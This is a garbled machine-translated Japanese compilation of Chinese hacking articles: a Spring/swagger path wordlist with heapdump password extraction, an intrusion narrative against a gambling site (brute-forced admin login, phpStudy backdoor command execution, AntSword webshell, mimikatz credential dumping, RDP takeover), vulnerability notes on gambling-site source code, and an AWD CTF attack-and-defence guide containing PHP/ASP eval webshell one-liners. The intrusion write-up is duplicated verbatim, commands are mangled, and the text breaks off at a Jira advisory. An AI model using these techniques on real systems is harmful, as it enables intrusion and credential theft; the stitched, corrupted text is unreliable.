ジョロキア/リスト

リキバーゼ

リスト

logfile

ロガー

リキバーゼ

メトリック

マッピング

モニター

プロメテウス

リフレッシュします

ScheduleDtasks

セッション

シャットダウン

spring-security-oauth-resource/swagger-ui.html

spring-security-rest/api/swagger-ui.html

static/swagger.json

sw/swagger-ui.html

sw歩

swagger/codes

swagger/index.html

swagger/static/index.html

swagger/swagger-ui.html

swagger-dubbo/api-docs

swagger-ui

swagger-ui.html

swagger-ui/html

swagger-ui/index.html

System/Druid/index.html

threaddump

テンプレート/swagger-ui.html

トレース

ユーザー/swagger-ui.html

バージョン

v1.1/swagger-ui.html

v1.2/swagger-ui.html

v1.3/swagger-ui.html

v1.4/swagger-ui.html

v1.5/swagger-ui.html

v1.6/swagger-ui.html

v1.7/swagger-ui.html

/v1.8/swagger-ui.html

/v1.9/swagger-ui.html

/v2.0/swagger-ui.html

v2.1/swagger-ui.html

v2.2/swagger-ui.html

v2.3/swagger-ui.html

V2/swagger.json

Webページ/System/Druid/Index.html

%20/swagger-ui.htmlは、图片のスキャンを開始し、その中にheapdumpが存在することがわかります。ダウンロードします。ヒープダンプは、ヒープダンプファイルとも呼ばれます。これは、特定の時点でのJavaプロセスのメモリスナップショットです。リークされたHeapdumpファイルは、Eclipse MemoryAnalyzerツールを介して分析し、Redisパスワード、MySQLデータベースアカウント、パスワードなど、メモリにロードされたプランステキストパスワード情報をクエリすることができます。ここでは、Master whwlsfbのjdumpspiderを使用しています

https://github.com/whwlsfb/jdumpspider 图片 Shiroのキー图片をメモリホースに入手してください。图片管理者許可を取得图片

元のリンクアドレスから転載:https://mp.weixin.qq.com/s/-zdavuqvmsw9pchydyuaba

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます)

图片

スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました)

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか?

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片(私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!)

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます)

图片

スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました)

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか?

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片(私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!)

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##

0x00はじめに

違法なほうれん草の激しさがあり、無数の妻と子供が分離されています。この目的のために、私は「関連する部門」に何らかの助けを提供したいと考えて、わずかな努力に貢献しました。私が今日あなたのために演奏するのは、BC Tianheng Shengdaの収穫です。

0x01プログラムはじめに

プログラムは、php5.4 + mysqlプログラム構造を採用しています。

图片

基本的に、現在そのような違法サイトを行っている犯罪者は、アウトソーシングに加えて、いくつかのプログラムモデルセットを変更しました。とりあえず、技術レベルの問題のために、Tianhengは発行することしかできません。バージョンは少し古い場合があります。ただし、その大部分が使用されています。 4月中旬に自分の名前を開示したくないネチズンによる実際のテストによると、これらの問題の約70%が存在しましたが、このプログラムを使用している違法サイトは30分で約5,000〜20,000元を収集しました。

0x02脆弱性の詳細

1。お金-SQLインジェクション

web \ wjaction \ default \ payonlineback.class.php

图片

お金をフォローアップし続けてください、ここで取得する必要があります、そして条件を見てください

图片

条件表示、最初のものは重要な検証です。これは構成ファイルにあります。キーが間違っている場合、それはすべての注文が有効になることができないことを意味します。言い換えれば、キーは間違いなくURL要求内にあり、この検証はバイパスできます。

图片

条件を見続けます。ここで、検証のためにMD5値を生成することです。ただし、この検証には欠陥があり、キーの価値はここには含まれていません。したがって、直接送信するときは、$ tno。$ payno。$ money feldに設定します。次に、MD5値のMD5Keyを取得します。 $サインをURLに表示できるためです。復号化後、スクリプトを書き、その検証メカニズムに従ってそれらを挿入できます。

图片

読み続けてください、ただランダムに来てください。

图片

最後の検証である読み続けてください。ここのユーザー名は本物である必要があるため、ここでの検証は無効であると見なされます。

图片

次に、以前の分析によると、注入できます。最も重要な点は、MD5Keyの値を推測することです。

2。注文情報- ストレージXSS

注文情報- ユーザー名

图片

デフォルトの支払いがフォームを提出する場合、フロントデスクとバックエンドはフィルタリングされず、XSSストレージの脆弱性を引き起こします。

3.バックグラウンドに検証なし-GetShell

lib/classes/googlechart/markers/googlechartmapmarker.php

图片

ランダムコードの実行の脆弱性であるGoogle変数は、GETでデータを取得し、それを実行します。比較的低レベルの問題については、コードパーツを書くことはありません。 (この脆弱性は効率的ではなく、約30%の確率です)

0x03要約

このソースコードのセットは、これらのいくつかの穴だけではなく、自分で掘る練習をすることができます。第二に、私はもともと、それらを含めなかった違法なサイトツールをリリースして収集することを考えていましたが、後に「他の」警備員が迷い込むことを避けるためにそれについて考えました。私はまだ水文学の記事を持っています、私は皆さんがもっとアドバイスを持っていることを願っています!

元のリンクから転載:https://mp.weixin.qq.com/s/7r3orgpmuesdz4ykuxojjw

0#awd

とは何か

0.1#AWD競争システムの紹介

「時折の防御モード| AWD(防衛での攻撃)」は、CTFコンペティションのいくつかの主要なゲームモードの1つです。

このモードでは、各チームには、通常、セキュリティの脆弱性を含む特定のサービスまたはアプリケーションを実行するのと同じ初期環境(GameBoxと呼ばれます)を持っています。参加チームは、ポイントを取得するためにフラグを取得するために、相手のチームのサービスのセキュリティの脆弱性を活用する必要があります。同時に、参加チームは、他のチームによって攻撃されて獲得されるのを防ぐために、彼らに対して防御するために独自のサービスの脆弱性にパッチを当てる必要があります。

主な特徴は、実用性、現実のタイミング、対立を強調し、競争チームの浸透と保護能力を包括的に考慮することです。

0.2#競合の全体的なプロセス

試合前の準備セッション:通常、SSHまたはVNCユーザー名とパスワードに割り当てられた複数のターゲットサーバー、および関連するIPおよびその他の情報を割り当てます

セキュリティ補強リンク:ターゲットマシンサーバーに自分でログインし、30分間のセキュリティ強化を実行する必要があります(ソースコードのバックアップ/弱いパスワードの変更/コード監査と修理/脆弱性の修理など)

無料攻撃リンク:セキュリティ強化時間が経過した後、無料攻撃リンクが開始されます。他のチームのターゲットサーバー(弱いパスワード/Web脆弱性/システムの脆弱性など)を攻撃して追加ポイントを獲得し、対応するチームはポイントを失います。

1#競争環境

通常、競争環境には3つの状況があります。

ハイブリッドターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows 7+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なLinuxターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なWindowsターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows7

2#セキュリティ補強プロセス(防衛)

2.0#基本補強プロセス

2.0.1 Windows補強プロセス

バックアップファースト:Webソースコード、データベース

445強化、ファイアウォールまたはIP高度なセキュリティポリシーを有効にします

システムログ監査機能をオンにします

ゲストアカウントを無効にし、ファイル共有を閉じます

スタートアップアイテムのコンテンツが制御可能であることを確認してください

リモートアクセスコントロールへの接続の数を制限する:ローカルグループポリシーエディターでは、コンピューター構成- 管理テンプレートウィンドウコンポーネントリモットデスクトップサービスリモートデスクトップセッションホストコネクションリミット接続の数を拡大します

ツールを使用して、キーディレクトリファイル:ファイル操作監視、exe、yujian file monitoring.exeを監視します。

PchunterとMonitorを介して検索された悪意のあるコードファイル

Webディレクトリ環境で関連する疑わしいファイルの検索:JPG/PNG/RAR、属性の表示、解凍、ファイルの内容の表示

NTFSはディスクをスキャンして、隠された交換フローデータを見つけます

システム内のすべてのアカウント情報を見つけ、非管理者アカウントを禁止します。

Webサイト管理者のアクセスパス、デフォルトのパスワード、およびデータベースパスワードを変更する

WAFスクリプトをインストールしてWebサイトを保護し、他の脆弱性を禁止します

2.0.2 Linux補強プロセス

バックアップ最初:Webソースコード、データベース

システムパスワード、統一されたチームパスワードを変更します

.bash_historyを介して履歴コマンドを検索し、痕跡を見つけます

スケジュールされたタスクを表示:Crontab -L;スケジュールされたタスクの編集:Crontab -E

/etc/init.d/rc.localのスタートアップサービスに例外があるかどうかを確認してください

スクリプトを使用して、プロセスの監視、ディレクトリ監視、トラフィック監視を可能にします

Webサイトのパスワード、サイト管理者パスの変更

システム強化:IPTABLE

2.1#基本情報コレクション

防御する場合、情報収集も非常に重要です。 sayingにあるように、「あなた自身とあなたの敵を知ってください、あなたは100の戦いで決して敗北することはありません。」

2.1.1 Linuxマシン情報を明確にする

UNAME -A //システム情報

ps -aux //クエリプロセス情報

ps -ef | GREPプロセス名//指定されたプロセスをフィルタリングします

ID //ユーザーIDとグループIDを表示するために使用されます

cat /etc /passwd //ユーザーの状況を表示します

LS/HOME///ユーザーの状況を確認してください

/-type d -perm -002 //書き込み可能なディレクトリチェックを見つけます

ifconfig //Linuxでネットワークカード情報を表示します

2.1.2 Windowsマシン情報を明確にする

hoami /all //Windowsでユーザーの詳細を表示します

ipconfig /all //Windowsでネットワークカード情報を表示します

2.1.3オープンポートを表示

Netstat //アクティブ接続を表示します

netstat -ano/-a //ポートステータスを確認します

netstat -Anp //ポートを表示します

Firewall-CMD -Zone=public - remove-port=80/tcp –permanent //ポートを閉じます

ファイアウォール-CMD –RELOAD //ファイアウォールを再起動します

2.1.4デフォルトのパスワード(弱いパスワード)変更

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトパスワード123456

他のデフォルトのパスワード管理者、TOP100、TOP1000などがあります。

特に、WebアプリケーションPassWDユーザー名のバックグラウンドパスワードの変更//SSHパスワードの変更

mycms@localhost=password( '18ciweufhi28746')のパスワードを設定します。 //mysqlパスワードの変更

find/var/www/html -path '*config*' //構成ファイルでパスワード資格情報を見つける

2.1.5ローカルフラグを見つけます

GREP -R 'Flag'/var/www/html ///Linux:Webディレクトリでフラグを見つける

findstr /s /i 'flag' *

2.1.6 Ping無効の設定

echo '1'/proc/sys/net/ipv4/icmp_echo_ignore_all //一時的にping禁止を有効にします

echo '0'/proc/sys/net/ipv4/icmp_echo_ignore_all //ping禁止を閉じます

2.2#Webセキュリティ強化

2.2.1バックアップソースコード

ソースコードを変更する際の問題を防ぐ、または攻撃された当事者がソースコードを削除して準備する

圧縮ソースコード:

TAR -CVF Web.tar/var/www/html

zip -q -r web.zip/var/www/html

ソースコードを解凍します:

tar -xvf web.tar -c/var/www/html

unzip web.zip -d/var/www/html

バックアップソースコード:

MV web.tar /tmp

MV web.zip /home /xxx

ソースコードをアップロードしてダウンロードします:

scp username@servername:/path/filename/tmp/local_destination //サーバーからローカルに単一のファイルをダウンロード

scp/path/local_filename username@servername:/path //ローカルからサーバーへの単一のファイルから

scp -r username@servername:remote_dir//tmp/local_dir //ディレクトリ全体をサーバーからローカルにダウンロードする

scp -r /tmp /local_dir username@servername3360remote_dir //ディレクトリ全体をローカルからサーバーにアップロードします

2.2.2読み取り専用権限を設定

Webファイルの読み取り専用および実行権限を設定します(PHPなどの動的言語には実行権限が必要です)

chmod 0555/var/www/html/*

Chmod 0555 /var/www/html/*.php

Webルートディレクトリで読み取り専用および実行権限を設定します

Chmod 0555/var/www/html

ファイルの所有者とグループを変更して、厳密なアクセス許可を設定します

chown -r root:root/var/www/html///所有者をroot:rootまたはhttpd:httpd(推奨)として設定します

chown -r apache:apache/var/www/html///apacheが/var/www/htmlを持っていることを確認してください

2.2.3構成.htaccess

PHPファイルの実行を禁止するために.htaccess構成ファイルを使用します

ディレクトリ '/var/www/html/upload' //指定されたディレクトリの後続の指示がディレクトリに適用されます

Options -EXECCGI -INDEXES //CGI実行およびディレクトリインデックス(ディスプレイディレクトリコンテンツリスト)ディレクトリの関数は無効です。

AllowOverrideなし//.htaccessファイルを使用してこのディレクトリのサーバーの構成を上書きすることができません。

removehandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

//これらの2つの命令指定されたファイル拡張子のプロセッサとタイプを削除します。

//この場合、これらのディレクティブは、Apacheの処理リストからPHP関連の拡張機能とサーバー側インクルージョン(SSI)ファイルタイプを削除します。

PHP_FLAGエンジンオフ//このディレクティブは、PHPエンジンフラグ(エンジン)をオフに設定するため、このディレクトリでPHPスクリプトを実行する機能を無効にします。

filesmatch '。+\。ph(p [3457]?| t | tml)$'

すべてから否定します

/filesmatch //これらの3行のコマンドは、正規表現を使用して、php、phpp、php3、pht、php4、php5、php7、shtmlで終了するファイルを一致させ、アクセス許可を設定してすべてを拒否します

/ディレクトリ

2.2.4 PHPパラメーターセキュリティ構成

最初にPHP構成ファイルを見つけます

/etc/php/{version }/php.ini

高リスク関数を無効にします

disable_functions=dl、exec、system、passthru、popen、proc_open、pcntl_exec、shell_exec、mail、imap_open、imap_mail、putenv、ini_set、apache_setenv、symlink、link

Open_basedirを構成します(指定された領域にユーザーアクセスファイルのアクティビティ範囲を制限します)

open_basedir=/var/www/html

魔法の引用を無効にする(SQL注入を防ぐために外部ソースデータを自動的に逃がす)

MAGIC_QUOTES_GPC=OFF

PHP擬似プロトコルを閉じます

Allow_url_fopen=off

Allow_url_include=off

PHPを再起動します

sudoサービスphp7.0-fpm再起動

sudo systemctl再起動php7.0-fpm.service

2.3#データベースセキュリティ補強

2.3.1 mysql補強

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトのパスワード123456

デフォルトのパスワードを使用しないで、それを複雑に変更し、Web環境との接続を確認しないでください

設定ローカル127.0.0.1アカウントログインのみを許可します:bind-address=127.0.0.1を変更します。 secure_file_priv=nullを構成ファイルに追加します

ログ監査機能をオンにします:general_log_file=path

MySQLデータベースが最も一般的に使用されているため、基本的な攻撃と防御のほとんどはMySQLデータベースコマンドの使用に使用されます

指定されたデータベースをバックアップします:

mysqldump –u username –pパスワードdatabasename target.sql

すべてのデータベースをバックアップします:

mysqldump –All -database all.sql

データベースをインポートします。

mysql –u username –pパスワードデータベースfrom.sql

mysqlの攻撃と防御については、この記事を読むことができます:https://blog.zgsec.cn/archives/26.html

mysqlデフォルト構成ファイルパス:

c: \\プログラムファイル\ mysql \ mysqlserver 5.1 \ my.ini //windows

/etc/my.cnf //linux

/etc/mysql/my.cnf //linux

secure_file_privパラメーター(ログ関数の対応するディレクトリ)を変更する

secure_file_priv=''

MySQL構成を過負荷

フラッシュ特権

MySQLサービスを再起動します

sudoサービスmysql再起動

sudo systemctlはmysqlを再起動します

2.3.2 mssql補強

不要なアカウントを削除します

SQLServerユーザーパスワードセキュリティ

ユーザーによると、アカウント共有は避けてください

データベースユーザーに必要な最小許可を割り当てます

ネットワークアクセス制限

SQLServerログイン監査

SQLServerセキュリティインシデント監査

ロギング関数を構成します

2.4#リモートコントロール補強

2.4.1 SSH安全補強

IPログインを制限する方法

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers username@192.168.0.100 //次の行を見つけて編集して、希望のIPアドレスに設定されていることを確認します

ルートリモートログインを無効にします

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

permitrootlogin no //permitrootlogiを「いいえ」に設定します

ユーザーとグループごとにSSHログインを制限します

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers testuser //SET TestuserはSSHにログインできるようにします

Allowusers testuser@192.168.1.100 //セットでは、192.168.1.100マシンのみがTestuserアカウントでSSHにログインできます

Groups Testを許可//ユーザーグループホワイトリストを設定します

//AllowusersとAllowgroupが同時に指定されている場合、両方のオプションと一致するユーザーがSSHログインでなければならないことに注意する必要があります。

SSHサービスを再起動します

Sudo Service sshd Restart

Sudo SystemCtl Restart Sshd.Service

2.4.2 RDPリモートログインセキュリティ補強材

デフォルトのアカウントを削除し、新しいユーザーを手動で追加します。

ステップ1:Win + Rを押して[実行]ダイアログボックスを開き、secpol.mscを入力して[OK]をクリックします

ステップ2:これに移動します:ローカルポリシーユーザー許可割り当ての割り当て、次にダブルクリックして「リモートデスクトップサービスを介してログインを許可」を開きます

ステップ3:このウィンドウにリストされている管理者とリモートデスクトップユーザー(またはコンピューター上の他のユーザーまたはグループ)を削除する

ステップ4:その後、「ユーザーまたはグループの追加」をクリックし、リモートデスクトップアクセスを許可するユーザーを手動で追加します。

デフォルトのRDPポート番号を変更します:

ステップ1:[実行]ダイアログボックスを開き、Regeditを入力して[OK]をクリックします

ステップ2:hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー\ winstations \ rdp-tcpを開き、下にスクロールしてportnumberを見つけてダブルクリックします

ステップ3:「小数」を選択し、設定するポート番号を変更し、[OK]をクリックします。

2.5#緊急対応

2.5.1クエリプロセススレッド

Netstat

ps -aux

netstat -apt

2.5.2プロセスを殺します

Kill -9 PID //Linuxで

Windows上のtaskkill /f /pid pid //

2.5.3 WebShellファイルを検索

Find/var/www/html -name *.php -mmin -5 //過去5分間に変更されたファイルを表示

./-name '*.php' |を見つけますxargs wc -l | sort -u //最短の行のファイルを見つけます。これは一般的にトロイの木馬です

grep -r -include=*。php '[^a -z] eval($ _ post'/var/www/html //キーワードを含むphpファイルを確認する

find/var/www/html -type f -name '*.php' | xargs grep 'eval(' | more //Linuxシステムでは、Find、Grep、Xargsコマンドの組み合わせを使用して、指定されたディレクトリ(/var/www/html)で.php拡張機能を持つすべてのファイルを見つけ、文字列'' eval( '' inこれらのファイルで 'evalを検索し、結果をパージに表示したときの結果をpagineしているときにパージーのパージをpagingで実行します。

2.5.4馬を殺すためにチェック

コマンドを使用して自動的に検索して削除することもできます

ps -aux | grep www-data | grep -v grep | awk '{print $ 2}' | Xargs Kill -9

次に、サービスを再起動します

サービスPHP-FPM再起動

2.5.5リバウンドシェルを殺します

プロセスを表示する古いルール

PS -EF

Px -aux

ps -aux | grep www-data

www-data pormissions /bin /shはNCである可能性が高いことに注意してください

それから古い注文があります

ps -auxを殺す| grep www-data | grep apache2 | awk '{$ 2を印刷}'

3#無料攻撃(攻撃)

3.0#メインコンテンツ

さまざまなCMSソフトウェアパッケージの最新バージョンが準備されています

スキャンツール:NMAP、Nessus、Metasploitの更新

Scripts POC、Exp

3.1#基本情報コレクション

3.1.1ホスト情報コレクション

NMAP

NAMP -SN 192.168.0.0/24 //セグメントCサバイバルスキャン

httpscan

httpscan.py 192.168.0.0/24 –T 10 //Cセグメントサバイバルスキャン

3.1.2ポートスキャン

NMAP -SV 192.168.0.2 //ホストシステムバージョンをスキャンします

NMAP -SS 192.168.0.2 //ホストの一般的に使用されるポートをスキャン

NMAP -SS -P 80,445 192.168.0.2 //ポートのホスト部分をスキャン

NMAP -SS -P- 192.168.0.2 //ホストのすべてのポートをスキャン

Pythonスクリプト

リクエストをインポートします

範囲のxの場合(2,255):

url='http://192.168.1。{}'。フォーマット(x)

try:

r=requests.post(url)

印刷(url)

:を除く

合格

3.2#外部管理

3.2.0共通システムの脆弱性

MS17-010(Eternal Blue、https://Blog.zgsec.cn/archives/172.htmlを参照)

MySQLはUDFエスカレーション(SQLインジェクションまたはMySQL弱いパスワード)を実行します

MSSQLはシステムコマンド実行(SQLインジェクションまたはMSSQL弱いパスワード)を実行します

SSH弱いパスワードまたはデフォルトのパスワード

PWN(これはAWDコンペティションによって提供される特定のコンテンツに依存します)

3.2.1ミドルウェアの脆弱性

IIS(脆弱性の解決、リモートコードの実行)

Apache(脆弱性を解析)

nginx(脆弱性の解析)

JBoss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)

mysql(弱いパスワード)

Tomcat(弱いパスワードのGetShell)

WebLogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)

Springboot(不正アクセスの脆弱性とRCEの脆弱性、https://Blog.zgsec.cn/archives/129.htmlを参照してください)

3.2.2統合サービス環境における脆弱性

WampServer

XampServer

3.2.3 cmsの脆弱性エクスプロイト

CMSの最新バージョンと、対応する脆弱性POCとEXPを収集します。ここでは、CMSの一部のみがリストされています。

ASPCMS

DEDECMS

dicuz

Drupal

empirecms

eshop

FINECMS

Joomla

ランプ

Metainfo

phpcms

phpwind

qibocms

SEACM

semcms

thinkphp

wolfcms

WordPress

Zabbix

バックアップファイルブラスト:7kbscanなどのディレクトリスキャンツールを使用して、Webシステムを爆破する

3.2.4 WebShellのアップロード

トロイの木馬についての一般的なことわざ

php:php @eval($ _ post ['pass']);php eval($ _ get ['pass']);

ASP:%eval request( 'pass')%

aspx:%@ page言語='jscript

0x00脆弱性の説明

Atlassian Jiraは、Atlassian Australiaの欠陥追跡管理システムです。このシステムは、主に仕事のさまざまな問題や欠陥を追跡および管理するために使用されます。

